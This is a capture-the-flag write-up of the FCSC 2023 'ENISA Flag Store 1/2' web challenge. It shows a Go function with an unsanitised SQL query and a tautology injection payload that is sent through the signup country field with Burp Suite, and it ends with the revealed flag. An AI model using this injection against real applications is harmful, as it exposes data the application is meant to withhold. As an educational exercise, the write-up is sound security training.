Cover Image

FCSC 2023 - ENISA Flag Store 1/2

In this article, we will explore the step-by-step walkthrough of the ‘ENISA Flag Store 1/2’ challenge presented at FCSC 2023.

Challenge Overview

We have the following source code, which is the challenge’s web application. Due to the length of this code, you can download it here .

The goal of the challenge is to steal a flag from our dear Swiss friends.

Code Analysis

By analyzing the code, we can see several things:

Available Endpoints

We can observe the following endpoints:

mux.HandleFunc("/", endpoint_index)
mux.HandleFunc("/login", endpoint_login)
mux.HandleFunc("/signup", endpoint_signup)
mux.HandleFunc("/logout", endpoint_logout)
mux.HandleFunc("/flags", endpoint_flags)

Registration Error Handling

During account creation on the application, we can encounter several types of errors:

err := RegisterLoginPassword(username, password, country)
    if err != nil {
        if errors.Is(err, ErrUserAlreadyExist) {
            http.Redirect(w, r, "/signup?error=3", http.StatusSeeOther)
        } else if errors.Is(err, ErrFieldTooLong) {
            http.Redirect(w, r, "/signup?error=4", http.StatusSeeOther)
        } else {
            http.Redirect(w, r, "/signup?error=5", http.StatusSeeOther)
        }
        return
    }

Error 3: User already exists

Error 4: One of the fields has too many characters

Error 5: Other potential error

SQL Injection Vulnerability

In the getData() function that loads flags from the user’s country in the /flags endpoint:

func getData(user User) (
    []Flag,
    error,
) {
    var flags []Flag

    req := fmt.Sprintf(`SELECT ctf, challenge, flag, points
                        FROM flags WHERE country = '%s';`, user.Country);
    rows, err := db.Query(req);
    if err != nil {
        return flags, err
    }
    defer rows.Close()

    for rows.Next() {
        var flag Flag
        err: rows.Scan(&flag.CTF, &flag.Challenge, &flag.Flag, &flag.Points)
        if err != nil {
            return flags, err
        }
        flags: append(flags, flag)
    }
    if err = rows.Err(); err != nil {
        return flags, err
    }

    return flags, nil
}

We immediately recognize a SQL injection, because no data is filtered and is simply added to the query as is.

Exploitation Strategy

I remain focused on the registration part since apart from this place, we cannot really have control over the information we enter to attempt any exploitation.

SQL Injection Payload

We try to inject the country parameter to see the application’s behavior.

A plausible payload comes to mind and it is the following:

fr' OR country != 'fr

The executed query would be the following:

SELECT ctf, challenge, flag, points
                        FROM flags WHERE country = 'fr' OR country != 'fr';

The SQL query selects the ctf, challenge, flag, and points columns from the flags table for all records, without distinction of the country column value. Using the condition "country = 'fr' OR country != 'fr'" includes all possible rows in the table.

Exploitation with Burp Suite

I decide to open Burp Suite to capture the request we send during account registration:

Registration request
Figure 0x1 – Registration request

I modify fr in country with our URL-encoded payload:

fr%27%20OR%20country%20!%3D%20%27fr

Result

The account has been successfully created. We just need to log in with the account to realize that the exploitation worked:

Flag
Figure 0x2 – Flag

Flag

The flag is FCSC{fad3a47d8ded28565aa2f68f6e2dbc37343881ba67fe39c5999a0102c387c34b}